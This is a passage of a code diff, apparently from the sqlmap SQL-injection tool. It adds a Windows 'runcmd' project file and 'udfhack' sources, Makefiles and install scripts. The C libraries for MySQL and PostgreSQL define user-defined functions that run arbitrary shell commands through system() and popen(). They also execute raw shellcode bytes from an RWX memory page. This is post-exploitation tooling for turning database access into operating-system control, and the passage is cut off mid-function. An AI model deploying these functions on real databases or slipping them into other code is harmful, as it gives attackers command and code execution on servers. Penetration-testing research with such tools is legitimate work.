+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="0"
+				UsePrecompiledHeader="2"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+				RuntimeLibrary="0"
+				UsePrecompiledHeader="2"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\runcmd.cpp"
+				>
+			</File>
+			<File
+				RelativePath=".\stdafx.cpp"
+				>
+				<FileConfiguration
+					Name="Debug|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="1"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="1"
+					/>
+				</FileConfiguration>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+		<File
+			RelativePath=".\ReadMe.txt"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

extra/runcmd/windows/runcmd/stdafx.cpp

@@ -0,0 +1,8 @@
+// stdafx.cpp : source file that includes just the standard includes
+// runcmd.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file

extra/runcmd/windows/runcmd/stdafx.h

@@ -0,0 +1,17 @@
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#ifndef _WIN32_WINNT		// Allow use of features specific to Windows XP or later.                   
+#define _WIN32_WINNT 0x0501	// Change this to the appropriate value to target other versions of Windows.
+#endif						
+
+#include <stdio.h>
+#include <tchar.h>
+
+
+
+// TODO: reference additional headers your program requires here

extra/udfhack/README.txt

@@ -0,0 +1,7 @@
+Files in this folder can be used to compile shared objects that define
+some user-defined functions for MySQL and PostgreSQL. They are licensed
+under the terms of the GNU Lesser General Public License and their
+compiled versions are available on the official sqlmap subversion
+repository[1].
+
+[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/

extra/udfhack/linux/README.txt

@@ -0,0 +1,22 @@
+Before compiling, you need to adapt the following to your environment:
+
+Variables in install.sh script:
+--------------------------------------------------------------------------
+Variable name			Variable description
+--------------------------------------------------------------------------
+USER                    Database management system administrative username
+PORT                    Database management system port
+VERSION                 Database management system version (PostgreSQL only)
+
+Variable in Makefile (MySQL only):
+--------------------------------------------------------------------------
+Variable name			Variable description
+--------------------------------------------------------------------------
+LIBDIR                  Database management system absolute file system
+                        path for third party libraries
+
+Then you can launch './install.sh' if you want to compile the shared
+object from the source code and create the user-defined functions on the
+database management system.
+If you only want to compile the shared object, you need to call only the
+'make' command.

extra/udfhack/linux/lib_mysqludf_sys/Makefile

@@ -0,0 +1,9 @@
+# For MySQL < 5.1
+LIBDIR=/usr/lib
+# For MySQL >= 5.1
+#LIBDIR=/usr/lib/mysql/plugin
+
+install:
+	gcc -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
+	strip -sx lib_mysqludf_sys.so
+	cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

extra/udfhack/linux/lib_mysqludf_sys/install.sh

@@ -0,0 +1,47 @@
+#!/bin/bash
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+# Copyright (C) 2007  Roland Bouman 
+# Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
+# web: http://www.mysqludf.org/
+# email: [email protected], [email protected]
+# 
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+# 
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# Lesser General Public License for more details.
+# 
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+
+# Adapt the following settings to your environment
+USER="root"
+PORT="3306"
+
+echo "Compiling the MySQL UDF"
+make
+
+if test $? -ne 0; then
+	echo "ERROR: You need libmysqlclient development software installed"
+	echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
+	echo "apt-get install libmysqlclient-dev"
+	exit 1
+else
+	echo "MySQL UDF compiled successfully"
+fi
+
+echo -e "\nPlease provide your MySQL root password"
+
+mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
+
+if test $? -ne 0; then
+	echo "ERROR: unable to install the UDF"
+	exit 1
+else
+	echo "MySQL UDF installed successfully"
+fi

extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.c

@@ -0,0 +1,551 @@
+/* 
+	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+	Copyright (C) 2007  Roland Bouman 
+	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
+	web: http://www.mysqludf.org/
+	email: [email protected], [email protected]
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#define DLLEXP __declspec(dllexport) 
+#else
+#define DLLEXP
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#endif
+
+#ifdef STANDARD
+#include <string.h>
+#include <stdlib.h>
+#include <time.h>
+#ifdef __WIN__
+typedef unsigned __int64 ulonglong;
+typedef __int64 longlong;
+#else
+typedef unsigned long long ulonglong;
+typedef long long longlong;
+#endif /*__WIN__*/
+#else
+#include <my_global.h>
+#include <my_sys.h>
+#endif
+#include <mysql.h>
+#include <m_ctype.h>
+#include <m_string.h>
+#include <stdlib.h>
+
+#include <ctype.h>
+
+#ifdef HAVE_DLOPEN
+#ifdef	__cplusplus
+extern "C" {
+#endif
+
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
+
+#ifdef __WIN__
+#define SETENV(name,value)		SetEnvironmentVariable(name,value);
+#else
+#define SETENV(name,value)		setenv(name,value,1);		
+#endif
+
+DLLEXP 
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_get
+ * 
+ * Gets the value of the specified environment variable.
+ */
+DLLEXP 
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_get_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_set
+ * 
+ * Sets the value of the environment variables.
+ * This function accepts a set of name/value pairs
+ * which are then set as environment variables.
+ * Use sys_get to retrieve the value of such a variable 
+ */
+DLLEXP 
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_set_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_exec
+ * 
+ * executes the argument commandstring and returns its exit status.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_exec_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_eval
+ * 
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_eval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_bineval
+ * 
+ * executes bynary opcodes.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+DLLEXP 
+void sys_bineval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter);
+#endif
+
+
+#ifdef	__cplusplus
+}
+#endif
+
+/**
+ * lib_mysqludf_sys_info
+ */
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	my_bool status;
+	if(args->arg_count!=0){
+		strcpy(
+			message
+		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
+		);
+		status = 1;
+	} else {
+		status = 0;
+	}
+	return status;
+}
+
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	strcpy(result,LIBVERSION);
+	*length = strlen(LIBVERSION);
+	return result;
+}
+
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count==1
+	&&	args->arg_type[0]==STRING_RESULT){
+		initid->maybe_null = 1;
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_get_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	char* value = getenv(args->args[0]);
+	if(value == NULL){
+		*is_null = 1;
+	} else {
+		*length = strlen(value);
+	} 
+	return value;
+}
+
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count!=2){
+		strcpy(
+			message
+		,	"Expected exactly two arguments"
+		);		
+		return 1;
+	}
+	if(args->arg_type[0]!=STRING_RESULT){
+		strcpy(
+			message
+		,	"Expected string type for name parameter"
+		);		
+		return 1;
+	}
+	args->arg_type[1]=STRING_RESULT;
+	if((initid->ptr=malloc(
+		args->lengths[0]
+	+	1
+	+	args->lengths[1]
+	+	1
+	))==NULL){
+		strcpy(
+			message
+		,	"Could not allocate memory"
+		);		
+		return 1;
+	}	
+	return 0;
+}
+
+void sys_set_deinit(
+	UDF_INIT *initid
+){
+	if (initid->ptr!=NULL){
+		free(initid->ptr);
+	}
+}
+
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){	
+	char *name = initid->ptr;
+	char *value = name + args->lengths[0] + 1; 
+	memcpy(
+		name
+	,	args->args[0]
+	,	args->lengths[0]
+	);
+	*(name + args->lengths[0]) = '\0';
+	memcpy(
+		value
+	,	args->args[1]
+	,	args->lengths[1]
+	);
+	*(value + args->lengths[1]) = '\0';
+	return SETENV(name,value);		
+}
+
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_exec_deinit(
+	UDF_INIT *initid
+){
+}
+
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){
+	return system(args->args[0]);
+}
+
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_eval_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	FILE *pipe;
+	char line[1024];
+	unsigned long outlen, linelen;
+
+	result = malloc(1);
+	outlen = 0;
+
+	pipe = popen(args->args[0], "r");
+
+	while (fgets(line, sizeof(line), pipe) != NULL) {
+		linelen = strlen(line);
+		result = realloc(result, outlen + linelen);
+		strncpy(result + outlen, line, linelen);
+		outlen = outlen + linelen;
+	}
+
+	pclose(pipe);
+
+	if (!(*result) || result == NULL) {
+		*is_null = 1;
+	} else {
+		result[outlen-1] = 0x00;
+		*length = strlen(result);
+	}
+
+	return result;
+}
+
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	return 0;
+}
+
+void sys_bineval_deinit(
+	UDF_INIT *initid
+){
+	
+}
+
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+){
+	int32 argv0_size;
+	size_t len;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	int pID;
+	char *code;
+#else
+	int *addr;
+	size_t page_size;
+	pid_t pID;
+#endif
+
+	argv0_size = strlen(args->args[0]);
+	len = (size_t)argv0_size;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	// allocate a +rwx memory page
+	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	strncpy(code, args->args[0], len);
+
+	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
+#else
+	pID = fork();
+	if(pID<0)
+		return 1;
+
+	if(pID==0)
+	{
+		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
+		page_size = (len+page_size) & ~(page_size);		// align to page boundary
+
+		// mmap an rwx memory page
+		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
+
+		if (addr == MAP_FAILED)
+			return 1;
+
+		strncpy((char *)addr, args->args[0], len);
+
+		((void (*)(void))addr)();
+	}
+
+	if(pID>0)
+		waitpid(pID, 0, WNOHANG);
+#endif
+
+	return 0;
+}
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__asm
+		{
+			mov eax, [lpParameter]
+			call eax
+		}
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+
+	}
+
+	return 0;
+}
+#endif
+
+#endif /* HAVE_DLOPEN */

extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.sql

@@ -0,0 +1,35 @@
+/*
+        lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+        Copyright (C) 2007  Roland Bouman
+        Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
+        web: http://www.mysqludf.org/
+        email: [email protected], [email protected]
+
+        This library is free software; you can redistribute it and/or
+        modify it under the terms of the GNU Lesser General Public
+        License as published by the Free Software Foundation; either
+        version 2.1 of the License, or (at your option) any later version.
+
+        This library is distributed in the hope that it will be useful,
+        but WITHOUT ANY WARRANTY; without even the implied warranty of
+        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+        Lesser General Public License for more details.
+
+        You should have received a copy of the GNU Lesser General Public
+        License along with this library; if not, write to the Free Software
+        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
+DROP FUNCTION IF EXISTS sys_get;
+DROP FUNCTION IF EXISTS sys_set;
+DROP FUNCTION IF EXISTS sys_exec;
+DROP FUNCTION IF EXISTS sys_eval;
+DROP FUNCTION IF EXISTS sys_bineval;
+
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

extra/udfhack/linux/lib_postgresqludf_sys/Makefile

@@ -0,0 +1,16 @@
+LIBDIR=/tmp
+
+8.4:
+	gcc -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
+	strip -sx lib_postgresqludf_sys.so
+	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
+
+8.3:
+	gcc -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
+	strip -sx lib_postgresqludf_sys.so
+	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
+
+8.2:
+	gcc -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
+	strip -sx lib_postgresqludf_sys.so
+	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so

extra/udfhack/linux/lib_postgresqludf_sys/install.sh

@@ -0,0 +1,59 @@
+#!/bin/bash
+# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
+# Copyright (C) 2009-2010  Bernardo Damele A. G.
+# web: http://bernardodamele.blogspot.com/
+# email: [email protected]
+# 
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+# 
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# Lesser General Public License for more details.
+# 
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+
+# Adapt the following settings to your environment
+USER="postgres"
+PORT="5434"
+VERSION="8.4"
+#PORT="5433"
+#VERSION="8.3"
+#PORT="5432"
+#VERSION="8.2"
+
+echo "Compiling the PostgreSQL UDF"
+make ${VERSION}
+
+if test $? -ne 0; then
+	echo "ERROR: You need postgresql-server development software installed"
+	echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
+
+	if test "${VERSION}" == "8.2"; then
+		echo "apt-get install postgresql-server-dev-8.2"
+	elif test "${VERSION}" == "8.3"; then
+		echo "apt-get install postgresql-server-dev-8.3"
+	elif test "${VERSION}" == "8.4"; then
+		echo "apt-get install postgresql-server-dev-8.4"
+	fi
+
+	exit 1
+else
+	echo "PostgreSQL UDF compiled successfully"
+fi
+
+echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
+
+psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
+
+if test $? -ne 0; then
+	echo "ERROR: unable to install the UDF"
+	exit 1
+else
+	echo "PostgreSQL UDF installed successfully"
+fi

extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c

@@ -0,0 +1,274 @@
+/* 
+	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
+	Copyright (C) 2009-2010  Bernardo Damele A. G.
+	web: http://bernardodamele.blogspot.com/
+	email: [email protected]
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#define _USE_32BIT_TIME_T
+#define DLLEXP __declspec(dllexport) 
+#define BUILDING_DLL 1
+#else
+#define DLLEXP
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#endif
+
+#include <postgres.h>
+#include <fmgr.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <ctype.h>
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter);
+#endif
+
+#ifdef PG_MODULE_MAGIC
+PG_MODULE_MAGIC;
+#endif
+
+PG_FUNCTION_INFO_V1(sys_exec);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	int32 argv0_size;
+	int32 result = 0;
+	char *command;
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	command = (char *)malloc(argv0_size + 1);
+
+	memcpy(command, VARDATA(argv0), argv0_size);
+	command[argv0_size] = '\0';
+
+	/*
+	Only if you want to log
+	elog(NOTICE, "Command execution: %s", command);
+	*/
+
+	result = system(command);
+	free(command);
+
+	PG_FREE_IF_COPY(argv0, 0);
+	PG_RETURN_INT32(result);
+}
+
+PG_FUNCTION_INFO_V1(sys_eval);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	text *result_text;
+	int32 argv0_size;
+	char *command;
+	char *result;
+	FILE *pipe;
+	char line[1024];
+	int32 outlen, linelen;
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	command = (char *)malloc(argv0_size + 1);
+
+	memcpy(command, VARDATA(argv0), argv0_size);
+	command[argv0_size] = '\0';
+
+	/*
+	Only if you want to log
+	elog(NOTICE, "Command evaluated: %s", command);
+	*/
+
+	result = (char *)malloc(1);
+	outlen = 0;
+
+	pipe = popen(command, "r");
+
+	while (fgets(line, sizeof(line), pipe) != NULL) {
+		linelen = strlen(line);
+		result = (char *)realloc(result, outlen + linelen);
+		strncpy(result + outlen, line, linelen);
+		outlen = outlen + linelen;
+	}
+
+	pclose(pipe);
+
+	if (*result) {
+		result[outlen-1] = 0x00;
+	}
+
+	result_text = (text *)malloc(VARHDRSZ + strlen(result));
+#ifdef SET_VARSIZE
+	SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
+#else
+	VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
+#endif
+	memcpy(VARDATA(result_text), result, strlen(result));
+
+	PG_RETURN_POINTER(result_text);
+}
+
+PG_FUNCTION_INFO_V1(sys_bineval);
+#ifdef PGDLLIMPORT
+extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
+#else
+extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
+#endif
+	text *argv0 = PG_GETARG_TEXT_P(0);
+	int32 argv0_size;
+	size_t len;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	int pID;
+	char *code;
+#else
+	int *addr;
+	size_t page_size;
+	pid_t pID;
+#endif
+
+	argv0_size = VARSIZE(argv0) - VARHDRSZ;
+	len = (size_t)argv0_size;
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+	// allocate a +rwx memory page
+	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	strncpy(code, VARDATA(argv0), len);
+
+	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
+#else
+	pID = fork();
+	if(pID<0)
+		PG_RETURN_INT32(1);
+
+	if(pID==0)
+	{
+		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
+		page_size = (len+page_size) & ~(page_size);		// align to page boundary
+
+		// mmap an rwx memory page
+		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
+
+		if (addr == MAP_FAILED)
+			PG_RETURN_INT32(1);
+
+		strncpy((char *)addr, VARDATA(argv0), len);
+
+		((void (*)(void))addr)();
+	}
+
+	if(pID>0)
+		waitpid(pID, 0, WNOHANG);
+#endif
+
+	PG_RETURN_INT32(0);
+}
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__asm
+		{
